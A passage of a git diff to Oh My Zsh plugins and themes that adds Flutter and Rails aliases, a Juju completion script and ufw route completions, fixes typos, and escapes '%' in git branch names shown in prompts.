`fll` | `flutter logs` | Shows flutter logs | +| `flpu` | `flutter pub upgrade` | Upgrades dependencies | +| `flpub` | `flutter pub` | Shorthand for flutter pub command | | `flr` | `flutter run` | Runs flutter app | | `flrd` | `flutter run --debug` | Runs flutter app in debug mode (default mode) | | `flrp` | `flutter run --profile` | Runs flutter app in profile mode | | `flrr` | `flutter run --release` | Runs flutter app in release mode | -| `flupgrd` | `flutter upgrade` | Upgrades flutter version depending on the current channel | +| `flt` | `flutter test` | Runs flutter tests | +| `flupgrd` | `flutter upgrade` | Upgrades flutter version depending on the current channel | \ No newline at end of file diff --git a/plugins/flutter/flutter.plugin.zsh b/plugins/flutter/flutter.plugin.zsh index 5e853b78f..db8f5d389 100644 --- a/plugins/flutter/flutter.plugin.zsh +++ b/plugins/flutter/flutter.plugin.zsh @@ -1,16 +1,20 @@ alias fl="flutter" +alias fla="flutter analyze" alias flattach="flutter attach" alias flb="flutter build" -alias flchnl="flutter channel" alias flc="flutter clean" -alias fldvcs="flutter devices" +alias flchnl="flutter channel" alias fldoc="flutter doctor" -alias flpub="flutter pub" +alias fldvcs="flutter devices" alias flget="flutter pub get" +alias fll="flutter logs" +alias flpu="flutter pub upgrade" +alias flpub="flutter pub" alias flr="flutter run" alias flrd="flutter run --debug" alias flrp="flutter run --profile" alias flrr="flutter run --release" +alias flt="flutter test" alias flupgrd="flutter upgrade" # COMPLETION FUNCTION diff --git a/plugins/gitfast/git-prompt.sh b/plugins/gitfast/git-prompt.sh index 76ee4ab1e..ae5085182 100644 --- a/plugins/gitfast/git-prompt.sh +++ b/plugins/gitfast/git-prompt.sh @@ -235,7 +235,7 @@ __git_ps1_show_upstream () if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then upstream="$upstream \${__git_ps1_upstream_name}" else - upstream="$upstream ${__git_ps1_upstream_name}" + upstream="$upstream ${__git_ps1_upstream_name//\%/%%}" # not needed anymore; keep user's # environment clean unset __git_ps1_upstream_name @@ -570,6 +570,9 @@ __git_ps1 () if [ $pcmode = yes ] && [ $ps1_expanded = yes ]; then __git_ps1_branch_name=$b b="\${__git_ps1_branch_name}" + else + # escape % in branch name to avoid prompt expansion issues + b="${b//\%/%%}" fi if [ -n "${GIT_PS1_SHOWCOLORHINTS-}" ]; then diff --git a/plugins/gnu-utils/README.md b/plugins/gnu-utils/README.md index f5fa81e2f..6084de3d9 100644 --- a/plugins/gnu-utils/README.md +++ b/plugins/gnu-utils/README.md @@ -27,7 +27,7 @@ The plugin also documents two other ways to do this: 1. Using a function wrapper, such that, for example, there exists a function named `ls` which calls `gls` instead. Since functions have a higher preference -than commands, this ends up calling the GNU coreutil. It has also a higher +than commands, this ends up calling the GNU coreutils. It has also a higher preference over shell builtins (`gecho` is called instead of the builtin `echo`). 2. Using an alias. This has an even higher preference than functions, but they diff --git a/plugins/golang/_golang b/plugins/golang/_golang index 01b976b12..f34dbee24 100644 --- a/plugins/golang/_golang +++ b/plugins/golang/_golang @@ -15,6 +15,52 @@ __go_identifiers() { compadd $(godoc -templates "$tmpl_path" ${words[-2]} 2> /dev/null) } +__go_tool_commands() { + local -a tools tool_commands + local -A command_seen short_count + local tool command + + tools=("${(@f)$(go tool 2>/dev/null)}") + + # Go 1.24+ lists module tools by package path, but also accepts unique + # default binary names for those tools. + for tool in "${tools[@]}"; do + [[ -n $tool ]] || continue + + (( command_seen[$tool]++ )) + + if [[ $tool == */* ]]; then + command=${tool:t} + + if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then + command=${${tool%/$command}:t} + fi + + (( short_count[$command]++ )) + fi + done + + for tool in "${tools[@]}"; do + [[ -n $tool ]] || continue + + tool_commands+=("$tool") + + if [[ $tool == */* ]]; then + command=${tool:t} + + if [[ $command == v[0-9]* && ${command#v} != *[^0-9]* ]] && (( ${command#v} > 1 )); then + command=${${tool%/$command}:t} + fi + + if (( short_count[$command] == 1 && ! command_seen[$command] )); then + tool_commands+=("$command") + fi + fi + done + + _values "go tool" "${tool_commands[@]}" +} + _go() { typeset -a commands build_flags commands+=( @@ -208,7 +254,7 @@ _go() { ;; tool) if (( CURRENT == 3 )); then - _values "go tool" $(go tool) + __go_tool_commands return fi case ${words[3]} in diff --git a/plugins/gradle/_gradle b/plugins/gradle/_gradle index 2dbb66df4..aa7c8dec1 100644 --- a/plugins/gradle/_gradle +++ b/plugins/gradle/_gradle @@ -269,6 +269,7 @@ __gradle_subcommand() { '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]' \ '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \ '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \ + '-Dorg.gradle.console.interactive=[]' \ '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \ '-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \ '-Dorg.gradle.continue=[Continues task execution after a task failure.]' \ @@ -298,6 +299,7 @@ __gradle_subcommand() { '-Dorg.gradle.problems.report=[Enables the HTML problems report.]' \ '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \ '-Dorg.gradle.tooling.parallel=[]' \ + '-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]' \ '-Dorg.gradle.unsafe.isolated-projects=[]' \ '-Dorg.gradle.vfs.verbose=[]' \ '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false)' \ @@ -337,6 +339,7 @@ __gradle_subcommand() { {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \ (--scan)'--no-scan[Disables the creation of a Build Scan.]' \ (--watch-fs)'--no-watch-fs[Disables file system watching.]' \ + '--non-interactive[Do not do interactive prompting. (incubating)]' \ '--offline[Runs the build without accessing network resources.]' \ (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \ '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]' \ @@ -403,6 +406,7 @@ _gradle() { '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]:->argument-expected' \ '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]:->argument-expected' \ '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \ + '-Dorg.gradle.console.interactive=[]:->argument-expected' \ '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \ '-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \ '-Dorg.gradle.continue=[Continues task execution after a task failure.]:->argument-expected' \ @@ -432,6 +436,7 @@ _gradle() { '-Dorg.gradle.problems.report=[Enables the HTML problems report.]:->argument-expected' \ '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \ '-Dorg.gradle.tooling.parallel=[]:->argument-expected' \ + '-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]:->argument-expected' \ '-Dorg.gradle.unsafe.isolated-projects=[]:->argument-expected' \ '-Dorg.gradle.vfs.verbose=[]:->argument-expected' \ '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false):->argument-expected' \ @@ -472,6 +477,7 @@ _gradle() { {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \ (--scan)'--no-scan[Disables the creation of a Build Scan.]' \ (--watch-fs)'--no-watch-fs[Disables file system watching.]' \ + '--non-interactive[Do not do interactive prompting. (incubating)]' \ '--offline[Runs the build without accessing network resources.]' \ (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \ '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:->argument-expected' \ diff --git a/plugins/grunt/grunt.plugin.zsh b/plugins/grunt/grunt.plugin.zsh index a89469a59..354714e09 100644 --- a/plugins/grunt/grunt.plugin.zsh +++ b/plugins/grunt/grunt.plugin.zsh @@ -23,7 +23,7 @@ # # Enable caching: # -# If you want to use the cache, set the followings in your .zshrc: +# If you want to use the cache, set the following in your .zshrc: # # zstyle ':completion:*' use-cache yes # diff --git a/plugins/history-substring-search/README.md b/plugins/history-substring-search/README.md index 49bed5255..642339bda 100644 --- a/plugins/history-substring-search/README.md +++ b/plugins/history-substring-search/README.md @@ -20,7 +20,7 @@ Requirements Install ------------------------------------------------------------------------------ -Using the [Homebrew]( https://brew.sh ) package manager: +Using the [Homebrew](https://brew.sh) package manager: brew install zsh-history-substring-search echo 'source $(brew --prefix)/share/zsh-history-substring-search/zsh-history-substring-search.zsh' >> ~/.zshrc diff --git a/plugins/history-substring-search/history-substring-search.zsh b/plugins/history-substring-search/history-substring-search.zsh index 2137b7950..9f0e0b0d5 100644 --- a/plugins/history-substring-search/history-substring-search.zsh +++ b/plugins/history-substring-search/history-substring-search.zsh @@ -295,8 +295,8 @@ _history-substring-search-begin() { fi # - # Escape and join query parts with wildcard character '*' as seperator - # `(j:CHAR:)` join array to string with CHAR as seperator + # Escape and join query parts with wildcard character '*' as separator + # `(j:CHAR:)` join array to string with CHAR as separator # local search_pattern="${(j:*:)_history_substring_search_query_parts[@]//(#m)[\][()|\\*?#<>~^]/\\$MATCH}*" diff --git a/plugins/juju/_juju b/plugins/juju/_juju new file mode 100644 index 000000000..4e08ba6ad --- /dev/null +++ b/plugins/juju/_juju @@ -0,0 +1,231 @@ +#compdef juju +(( $+functions[compdef] )) && compdef _juju juju + +# zsh completion for juju -*- shell-script -*- + +__juju_debug() +{ + local file="$BASH_COMP_DEBUG_FILE" + if [[ -n ${file} ]]; then + echo "$*" >> "${file}" + fi +} + +__juju_help_options() +{ + local out line token cleaned desc f + local -a opts pending + typeset -U opts + + __juju_debug "[options] called with args: $*" + out=$(command juju help "$@" 2>/dev/null) + local rc=$? + __juju_debug "[options] juju help exit code: $rc, output length: ${#out}" + (( rc )) && return 1 + + while IFS= read -r line; do + if [[ "$line" =~ '^[[:space:]]{0,3}-' ]]; then + for f in "${pending[@]}"; do opts+=("$f"); done + pending=() + for token in ${(z)line}; do + cleaned="${token%%,*}" + cleaned="${cleaned%%;*}" + cleaned="${cleaned%%]*}" + cleaned="${cleaned%%)*}" + cleaned="${cleaned%%=<*}" + cleaned="${cleaned%%=*}" + cleaned="${cleaned%%<*}" + cleaned="${cleaned%%\[*}" + cleaned="${cleaned%%\(*}" + [[ "$cleaned" == --* || "$cleaned" == -[[:alnum:]] ]] || continue + [[ "$cleaned" == "-" || "$cleaned" == "--" ]] && continue + __juju_debug "[options] found flag: $cleaned" + pending+=("$cleaned") + done + elif (( ${#pending} )) && [[ -n "$line" ]]; then + desc="${line#"${line%%[![:space:]]*}"}" + desc="${desc//:/\\:}" + __juju_debug "[options] desc for ${pending[*]}: $desc" + for f in "${pending[@]}"; do opts+=("${f}:${desc}"); done + pending=() + elif [[ -z "$line" ]]; then + for f in "${pending[@]}"; do opts+=("$f"); done + pending=() + fi + done < <(printf "%s\n" "$out") + + for f in "${pending[@]}"; do opts+=("$f"); done + __juju_debug "[options] total opts: ${#opts}, first few: ${opts[1]} ${opts[2]} ${opts[3]}" + + printf "%s\n" "${opts[@]}" +} + + +__juju_help_commands() +{ + local line cmd desc out + out=$(command juju help commands 2>/dev/null) || return 1 + + while IFS= read -r line; do + # Strip leading whitespace + line="${line#"${line%%[![:space:]]*}"}" + # Only process lines starting with an alphanumeric (command names) + [[ "$line" =~ '^[[:alnum:]]' ]] || continue + # Split on the first run of 2+ spaces: left = cmd, right = description + cmd="${line%% *}" + # Validate it's a clean command token (no spaces, only alnum and dash) + [[ "$cmd" =~ '^[[:alnum:]][[:alnum:]-]*$' ]] || continue + desc="${line#"$cmd"}" + desc="${desc#"${desc%%[![:space:]]*}"}" + if [[ -n "$desc" ]]; then + printf "%s:%s\n" "$cmd" "$desc" + else + printf "%s\n" "$cmd" + fi + done <<< "$out" +} + +__juju_models() +{ + # Optional argument: controller name. If given, fetch models for that controller. + if [[ -n "$1" ]]; then + command juju models -c "$1" --format=json 2>/dev/null \ + | command jq -r '.models[]."short-name"' 2>/dev/null + else + command juju models --format=json 2>/dev/null \ + | command jq -r '.models[]."short-name"' 2>/dev/null + fi +} + +# Complete a model token that may be prefixed with "controller:" — if a colon is +# present, fetch models for that controller and offer "ctrl:model" completions. +__juju_complete_model() +{ + local current="$1" + local -a completions + + __juju_debug "[complete_model] current='${current}'" + + if [[ "$current" == *:* ]]; then + local ctrl="${current%%:*}" + local models + models=("${(@f)$(__juju_models "$ctrl")}") + completions=("${models[@]/#/${ctrl}:}") + __juju_debug "[complete_model] ctrl=${ctrl} completions=${#completions}: ${completions[*]}" + compadd -S '' -q -- "${completions[@]}" + else + local -a models ctrls + models=("${(@f)$(__juju_models)}") + ctrls=("${(@f)$(__juju_controllers)}") + __juju_debug "[complete_model] models=${#models}: ${models[*]}" + __juju_debug "[complete_model] ctrls=${#ctrls}: ${ctrls[*]}" + __juju_debug "[complete_model] calling _alternative" + _alternative \ + 'models:models:{__juju_debug "[complete_model] compadd models"; compadd "$expl[@]" -a models}' \ + 'controllers:controllers:{__juju_debug "[complete_model] compadd ctrls"; compadd "$expl[@]" -S : -q -a ctrls}' + __juju_debug "[complete_model] _alternative returned $?" + fi +} + +# Commands whose first positional argument is a model name. +_juju_model_commands=( + destroy-model + grant-model + revoke-model + switch +) + +# Flags that take a model name as their value. +_juju_model_flags=( + -m + --model +) + +__juju_controllers() +{ + command juju controllers --format=json 2>/dev/null \ + | command jq -r '.controllers | keys | .[]' 2>/dev/null +} + +# Commands whose first positional argument is a controller name. +_juju_controller_commands=( + destroy-controller + kill-controller + login + logout + unregister +) + +# Flags that take a controller name as their value. +_juju_controller_flags=( + -c + --controller +) + +_juju() +{ + __juju_debug "[_juju] curcontext: ${curcontext}" + local -a completions + + __juju_debug "[_juju] words: ${words[*]}, CURRENT: $CURRENT" + + # Find the subcommand: first non-flag word typed after "juju", excluding the + # word currently being completed (words[CURRENT]). + local subcmd="" + local i + for (( i = 2; i < CURRENT; i++ )); do + if [[ "${words[i]}" != -* ]]; then + subcmd="${words[i]}" + break + fi + done + + local current="${words[CURRENT]}" + local prev="${words[CURRENT-1]}" + + __juju_debug "[_juju] subcmd: '${subcmd}', current: '${current}', prev: '${prev}'" + + # Controller name completion: flag value (e.g. juju status -c ) + if (( ${_juju_controller_flags[(I)$prev]} )); then + completions=("${(@f)$(__juju_controllers)}") + __juju_debug "[_juju] controller flag completions: ${#completions}" + (( ${#completions} )) && _describe "controller" completions && return 0 + return 1 + fi + + # Model name completion: flag value (e.g. juju status -m or -m ctrl:) + if (( ${_juju_model_flags[(I)$prev]} )); then + __juju_debug "[_juju] model flag completion, current: '${current}'" + __juju_complete_model "$current" && return 0 + return 1 + fi + + if [[ -z "$subcmd" ]]; then + # No subcommand yet — complete subcommand names. + completions=("${(@f)$(__juju_help_commands)}") + __juju_debug "[_juju] command completions count: ${#completions}" + (( ${#completions} )) && _describe "command" completions && return 0 + return 1 + fi + + # Controller name completion: positional arg (e.g. juju destroy-controller ) + if (( ${_juju_controller_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then + completions=("${(@f)$(__juju_controllers)}") + __juju_debug "[_juju] controller command completions: ${#completions}" + (( ${#completions} )) && _describe "controller" completions && return 0 + return 1 + fi + + # Model name completion: positional arg (e.g. juju destroy-model or ctrl:) + if (( ${_juju_model_commands[(I)$subcmd]} )) && [[ "$current" != -* ]]; then + __juju_debug "[_juju] model command completion, current: '${current}'" + __juju_complete_model "$current" && return 0 + return 1 + fi + + # Flag completion for all other subcommands (also shown without leading dash) + completions=("${(@f)$(__juju_help_options "$subcmd")}") + __juju_debug "[_juju] option completions count: ${#completions}" + (( ${#completions} )) && _describe "option" completions && return 0 + return 1 +} diff --git a/plugins/juju/juju.plugin.zsh b/plugins/juju/juju.plugin.zsh index 3c159da22..a7bd98d7e 100644 --- a/plugins/juju/juju.plugin.zsh +++ b/plugins/juju/juju.plugin.zsh @@ -1,17 +1,5 @@ # ---------------------------------------------------------- # # Aliases and functions for juju (https://juju.is) # -# ---------------------------------------------------------- # - -# Load TAB completions -# You need juju's bash completion script installed. By default bash-completion's -# location will be used (i.e. pkg-config --variable=completionsdir bash-completion). -completion_file="$(pkg-config --variable=completionsdir bash-completion 2>/dev/null)/juju" || \ - completion_file="/usr/share/bash-completion/completions/juju" -[[ -f "$completion_file" ]] && source "$completion_file" -unset completion_file - -# ---------------------------------------------------------- # -# Aliases (in alphabetic order) # # # # Generally, # # - `!` means --force --no-wait -y # @@ -132,6 +120,7 @@ jclean() { fi echo + local controller for controller in ${=controllers}; do timeout 2m juju destroy-controller --destroy-all-models --destroy-storage --force --no-wait -y $controller timeout 2m juju kill-controller -y -t 0 $controller 2>/dev/null @@ -165,10 +154,11 @@ jreld() { # Return Juju current controller jcontroller() { - local controller="$(awk '/current-controller/ {print $2}' ~/.local/share/juju/controllers.yaml)" - if [[ -z "$controller" ]]; then - return 1 - fi + local file="${JUJU_DATA:-$HOME/.local/share/juju}/controllers.yaml" + [[ -f "$file" ]] || return 1 + + local controller="$(awk '/current-controller/ {print $2}' "$file")" + [[ -z "$controller" ]] && return 1 echo $controller return 0 @@ -176,6 +166,9 @@ jcontroller() { # Return Juju current model jmodel() { + local file="${JUJU_DATA:-$HOME/.local/share/juju}/models.yaml" + [[ -f "$file" ]] || return 1 + local yqbin="$(whereis yq | awk '{print $2}')" if [[ -z "$yqbin" ]]; then @@ -183,9 +176,10 @@ jmodel() { return 1 fi - local model="$(yq e ".controllers.$(jcontroller).current-model" < ~/.local/share/juju/models.yaml | cut -d/ -f2)" + local controller="$(jcontroller)" + local model="$(yq e ".controllers.[\"${controller}\"].current-model" < "${file}" | cut -d/ -f2)" - if [[ -z "$model" ]]; then + if [[ -z "$model" || $model == "null" ]]; then echo "--" return 1 fi @@ -194,9 +188,10 @@ jmodel() { return 0 } -# Watch juju status, with optional interval (default: 5 sec) +# Watch juju status, with optional interval (default: 1 sec) wjst() { - local interval="${1:-5}" + command -v juju >/dev/null 2>&1 || return 1 + local interval="${1:-1}" shift $(( $# > 0 )) watch -n "$interval" --color juju status --relations --color "$@" } diff --git a/plugins/macports/macports.plugin.zsh b/plugins/macports/macports.plugin.zsh index d438057f9..9b2abf466 100644 --- a/plugins/macports/macports.plugin.zsh +++ b/plugins/macports/macports.plugin.zsh @@ -8,7 +8,7 @@ alias puo="sudo port upgrade outdated" alias pup="sudo port selfupdate && sudo port upgrade outdated" port-livecheck-maintainer() { - (( ${+commands[port]} == 0 )) || { + (( ${+commands[port]} )) || { print -- "port: not found" >&2 return 1 } diff --git a/plugins/pulumi/README.md b/plugins/pulumi/README.md index 4c771964b..a52c12458 100644 --- a/plugins/pulumi/README.md +++ b/plugins/pulumi/README.md @@ -1,7 +1,7 @@ # Pulumi This is an **Oh My Zsh plugin** for the [**Pulumi CLI**](https://www.pulumi.com/docs/iac/cli/), -an Infrastructure as Code (IaC) tool for building, deploying and managing cloud infrastucture. +an Infrastructure as Code (IaC) tool for building, deploying and managing cloud infrastructure. This plugin provides: diff --git a/plugins/rails/README.md b/plugins/rails/README.md index c0c37ff3d..f023031a6 100644 --- a/plugins/rails/README.md +++ b/plugins/rails/README.md @@ -24,11 +24,12 @@ plugins=(... rails) | `rdm` | `rails db:migrate` | Run pending db migrations | | `rdmd` | `rails db:migrate:down` | Undo specific db migration | | `rdmr` | `rails db:migrate:redo` | Redo specific db migration | +| `rdmrs` | `rails db:migrate:reset` | Delete the database and set it up again from scratch. | | `rdms` | `rails db:migrate:status` | Show current db migration status | | `rdmtc` | `rails db:migrate db:test:clone` | Run pending migrations and clone db into test database | | `rdmu` | `rails db:migrate:up` | Run specific db migration | | `rdr` | `rails db:rollback` | Roll back the last migration | -| `rdrs` | `rails db:reset` | Delete the database and set it up again | +| `rdrs` | `rails db:reset` | Delete the database and set it up again from schema. | | `rds` | `rails db:seed` | Seed the database | | `rdsl` | `rails db:schema:load` | Load the database schema | | `rdtc` | `rails db:test:clone` | Clone the database into the test database | diff --git a/plugins/rails/_rails b/plugins/rails/_rails index dbd843c80..f92f696f0 100644 --- a/plugins/rails/_rails +++ b/plugins/rails/_rails @@ -214,6 +214,7 @@ _rails_subcommands() { "db\:migrate[Migrate the database]" "db\:migrate\:down[Run the 'down' for a given migration VERSION]" "db\:migrate\:redo[Roll back the database one migration and re-migrate up]" + "db\:migrate\:reset[Drop and recreate all databases from scratch for the current environment]" "db\:migrate\:status[Display status of migrations]" "db\:migrate\:up[Run the 'up' for a given migration VERSION]" "db\:prepare[Run setup if database does not exist, or run migrations if it does]" diff --git a/plugins/rails/rails.plugin.zsh b/plugins/rails/rails.plugin.zsh index 75dd9b0c6..9d503768e 100644 --- a/plugins/rails/rails.plugin.zsh +++ b/plugins/rails/rails.plugin.zsh @@ -52,6 +52,7 @@ alias rdd='rails db:drop' alias rdm='rails db:migrate' alias rdmd='rails db:migrate:down' alias rdmr='rails db:migrate:redo' +alias rdmrs='rails db:migrate:reset' alias rdms='rails db:migrate:status' alias rdmtc='rails db:migrate db:test:clone' alias rdmu='rails db:migrate:up' diff --git a/plugins/ufw/README.md b/plugins/ufw/README.md index ffcc6d6f7..5aeb7f1b9 100644 --- a/plugins/ufw/README.md +++ b/plugins/ufw/README.md @@ -16,3 +16,4 @@ Some of the commands include: * `deny /` add deny rule * `disable` disables the firewall * `enable` enables the firewall +* `route` add route rule diff --git a/plugins/ufw/_ufw b/plugins/ufw/_ufw index f5ad03377..701231ec7 100644 --- a/plugins/ufw/_ufw +++ b/plugins/ufw/_ufw @@ -31,6 +31,7 @@ _1st_arguments=( 'reject:add reject rule' 'reload:reloads firewall' 'reset:reset firewall' + 'route:add route rule' 'show:show firewall report' 'status:show firewall status' 'version:display version information' @@ -43,6 +44,7 @@ _arguments -C \ '1:: :->cmds' \ '2:: :->subcmds' \ '3:: :->subsubcmds' \ + '4:: :->subsubsubcmds' \ && return 0 local rules @@ -83,6 +85,17 @@ case "$state" in 'raw' 'builtins' 'before-rules' 'user-rules' 'after-rules' 'logging-rules' 'listening' 'added' \ && ret=0 ;; + (route) + _values 'route' \ + 'delete[delete route rule]' \ + 'insert[insert route rule at NUM]' \ + 'prepend[prepend route rule]' \ + 'allow[add allow route rule]' \ + 'deny[add deny route rule]' \ + 'reject[add reject route rule]' \ + 'limit[add limit route rule]' \ + && ret=0 + ;; (delete) rules="$(_ufw_delete_rules)" if [[ -n "$rules" ]] ; then @@ -109,6 +122,37 @@ case "$state" in 'incoming' 'outgoing' \ && ret=0 ;; + (route) + case "$line[2]" in + (delete|prepend) + _values 'route-action' \ + 'allow[route allow rule]' \ + 'deny[route deny rule]' \ + 'reject[route reject rule]' \ + 'limit[route limit rule]' \ + && ret=0 + ;; + (insert) + _message 'route rule number' + ;; + esac + ;; + esac + ;; + (subsubsubcmds) + case "$line[1]" in + (route) + case "$line[2]" in + (insert) + _values 'route-action' \ + 'allow[route allow rule]' \ + 'deny[route deny rule]' \ + 'reject[route reject rule]' \ + 'limit[route limit rule]' \ + && ret=0 + ;; + esac + ;; esac esac diff --git a/plugins/vi-mode/vi-mode.plugin.zsh b/plugins/vi-mode/vi-mode.plugin.zsh index 85208cfc9..2704fb05e 100644 --- a/plugins/vi-mode/vi-mode.plugin.zsh +++ b/plugins/vi-mode/vi-mode.plugin.zsh @@ -26,7 +26,7 @@ typeset -g VI_MODE_CURSOR_OPPEND=${VI_MODE_CURSOR_OPPEND:=0} typeset -g VI_KEYMAP=${VI_KEYMAP:=main} function _vi-mode-set-cursor-shape-for-keymap() { - [[ "$VI_MODE_SET_CURSOR" = true ]] || return + [[ "$VI_MODE_SET_CURSOR" = true ]] || return 0 # https://vt100.net/docs/vt510-rm/DECSCUSR local _shape=0 diff --git a/plugins/web-search/README.md b/plugins/web-search/README.md index 8d74a08c0..ead2c19d7 100644 --- a/plugins/web-search/README.md +++ b/plugins/web-search/README.md @@ -53,7 +53,7 @@ Available search contexts are: | `gopkg` | `https://pkg.go.dev/search?m=package&q=` | | `chatgpt` | `https://chatgpt.com/?q=` | | `claudeai` | `https://claude.ai/new?q=` | -| `grok` | `https://grok.com/?q=` | +| `grokcom` | `https://grok.com/?q=` | | `reddit` | `https://www.reddit.com/search/?q=` | | `ppai` | `https://www.perplexity.ai/search/new?q=` | | `rscrate` | `https://crates.io/search?q=` | diff --git a/plugins/web-search/web-search.plugin.zsh b/plugins/web-search/web-search.plugin.zsh index 93237f4e2..b002e5678 100644 --- a/plugins/web-search/web-search.plugin.zsh +++ b/plugins/web-search/web-search.plugin.zsh @@ -93,7 +93,7 @@ alias npmpkg='web_search npmpkg' alias packagist='web_search packagist' alias gopkg='web_search gopkg' alias chatgpt='web_search chatgpt' -alias grok='web_search grok' +alias grokcom='web_search grok' alias claudeai='web_search claudeai' alias reddit='web_search reddit' alias ppai='web_search ppai' diff --git a/themes/eastwood.zsh-theme b/themes/eastwood.zsh-theme index 31e24fa7f..0dd2d42d3 100644 --- a/themes/eastwood.zsh-theme +++ b/themes/eastwood.zsh-theme @@ -16,7 +16,8 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local cb=$(git_current_branch) if [ -n "$cb" ]; then - echo "$(parse_git_dirty)$ZSH_THEME_GIT_PROMPT_PREFIX$(git_current_branch)$ZSH_THEME_GIT_PROMPT_SUFFIX" + cb="${cb//\%/%%}" + echo "$(parse_git_dirty)$ZSH_THEME_GIT_PROMPT_PREFIX${cb}$ZSH_THEME_GIT_PROMPT_SUFFIX" fi } diff --git a/themes/gallois.zsh-theme b/themes/gallois.zsh-theme index 3fc349072..eb04e66ed 100644 --- a/themes/gallois.zsh-theme +++ b/themes/gallois.zsh-theme @@ -10,6 +10,7 @@ ZSH_THEME_GIT_PROMPT_CLEAN="" git_custom_status() { local branch=$(git_current_branch) [[ -n "$branch" ]] || return 0 + branch="${branch//\%/%%}" print "%{${fg_bold[yellow]}%}$(work_in_progress)%{$reset_color%}\ ${ZSH_THEME_GIT_PROMPT_PREFIX}$(parse_git_dirty)${branch}\ ${ZSH_THEME_GIT_PROMPT_SUFFIX}" diff --git a/themes/josh.zsh-theme b/themes/josh.zsh-theme index df59280d7..ead1fadfa 100644 --- a/themes/josh.zsh-theme +++ b/themes/josh.zsh-theme @@ -10,6 +10,7 @@ function josh_prompt { prompt=" " branch=$(git_current_branch) + branch="${branch//\%/%%}" ruby_version=$(ruby_prompt_info) path_size=${#PWD} branch_size=${#branch} @@ -31,7 +32,7 @@ function josh_prompt { prompt=" $prompt" done - prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} $(git_current_branch)" + prompt="%{%F{green}%}$PWD$prompt%{%F{red}%}$(ruby_prompt_info)%{$reset_color%} ${branch}" echo $prompt } diff --git a/themes/juanghurtado.zsh-theme b/themes/juanghurtado.zsh-theme index 95a400e61..625f46a3a 100644 --- a/themes/juanghurtado.zsh-theme +++ b/themes/juanghurtado.zsh-theme @@ -41,4 +41,4 @@ USER_COLOR=$GREEN_BOLD PROMPT=' %{$USER_COLOR%}%n@%m%{$WHITE%}:%{$YELLOW%}%~%u$(parse_git_dirty)$(git_prompt_ahead)%{$RESET_COLOR%} %{$BLUE%}>%{$RESET_COLOR%} ' -RPROMPT='%{$GREEN_BOLD%}$(git_current_branch)$(git_prompt_short_sha)$(git_prompt_status)%{$RESET_COLOR%}' +RPROMPT='%{$GREEN_BOLD%}${$(git_current_branch)//\%/%%}$(git_prompt_short_sha)$(git_prompt_status)%{$RESET_COLOR%}' diff --git a/themes/lukerandall.zsh-theme b/themes/lukerandall.zsh-theme index cdecd284f..d5a452ebb 100644 --- a/themes/lukerandall.zsh-theme +++ b/themes/lukerandall.zsh-theme @@ -7,7 +7,7 @@ function my_git_prompt_info() { ref=$(git symbolic-ref HEAD 2> /dev/null) || return GIT_STATUS=$(git_prompt_status) [[ -n $GIT_STATUS ]] && GIT_STATUS=" $GIT_STATUS" - echo "$ZSH_THEME_GIT_PROMPT_PREFIX${ref#refs/heads/}$GIT_STATUS$ZSH_THEME_GIT_PROMPT_SUFFIX" + echo "$ZSH_THEME_GIT_PROMPT_PREFIX${${ref#refs/heads/}//\%/%%}$GIT_STATUS$ZSH_THEME_GIT_PROMPT_SUFFIX" } PROMPT='%{$fg_bold[green]%}%n@%m%{$reset_color%} %{$fg_bold[blue]%}%2~%{$reset_color%} $(my_git_prompt_info)%{$reset_color%}%B»%b ' diff --git a/themes/michelebologna.zsh-theme b/themes/michelebologna.zsh-theme index b13b2caf1..449c280c5 100644 --- a/themes/michelebologna.zsh-theme +++ b/themes/michelebologna.zsh-theme @@ -31,11 +31,10 @@ local blue="%{$fg_bold[blue]%}" local magenta="%{$fg_bold[magenta]%}" local reset="%{$reset_color%}" -local -a color_array -color_array=($green $red $cyan $yellow $blue $magenta) +local -a color_array=($green $red $cyan $yellow $blue $magenta) local username_color=$blue -local hostname_color=$color_array[$[((#HOST))%6+1]] # choose hostname color based on first character +local 